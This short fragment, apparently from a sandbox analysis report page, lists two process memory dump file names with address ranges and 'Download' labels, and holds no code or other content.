Download

memory/5032-78-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download

memory/5044-86-0x00007FF77BFB0000-0x00007FF77C3D5000-memory.dmp

Download